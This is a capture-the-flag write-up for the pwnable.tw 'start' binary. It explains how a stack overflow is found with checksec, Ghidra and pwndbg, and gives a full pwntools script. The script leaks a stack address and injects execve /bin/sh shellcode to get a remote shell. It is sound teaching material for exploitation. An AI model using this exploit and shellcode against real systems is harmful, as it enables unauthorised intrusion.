Table of Contents
We are given a linux binary. To start off, lets run checksec
on it:
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
It looks like NX is disabled, so if needed, we can place and execute shell code from the stack. To understand how this binary works, I opened it with Ghidra
. There are only two functions, _entry
and _exit
. Let's look at _entry
first. Although the decompilation is mostly useless, the disassembly is more than enough.
We can see two int 0x80
s that are syscalls. Looking at the value of eax
and by referencing a 32-bit syscall table, we can identify them. The reversed syscalls are shown in comments in the above screenshot. It's also clear that we control EIP
due to the large read
syscall that will overflow into the save return address on the stack.
As we saw earlier, the NX
bit is disabled, so we can jump to our shellcode. To do so, we need to leak a stack address to identify where to jump to. Using pwndbg, it's easy to watch the stack during execution.
The first value that is pushed onto the stack is ESP
(0x8048060
). If we were to read past the values pushed onto the stack, we'll be able to leak a stack address. What happens if we return to 0x8048087
? Since the ADD ESP, 0x14
before the RET
will clear the stack, the write
syscall will print out a stack address. After leaking the stack address, we know that we will write our shell code 20 bytes after the base pointer. We need to return to ESP + 0x14
. Let's try it out.
I'll use pwntools
to ease communications with the binary.
from pwn import *
context.terminal = '/bin/sh'
WRITE_ADDR = 0x8048087
r = remote('chall.pwnable.tw', 10000)
r.recvuntil(':')
payload = 'A'*0x14 # Padding
payload += p32(WRITE_ADDR) # Overwrite EIP with the write syscall
r.write(payload)
LEAKED_ADDR = u32(r.read(400)[:4])
log.info("Leaked address 0x%x" % LEAKED_ADDR)
from binascii import unhexlify
# http://shell-storm.org/shellcode/files/shellcode-811.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload = 'A'*0x14
payload += p32(LEAKED_ADDR + 0x14)
payload += shellcode
payload += 'ls\n'
r.write(payload)
r.interactive()
This gives us a shell, and if we explore the server, we will find the flag in /home/start/flag
.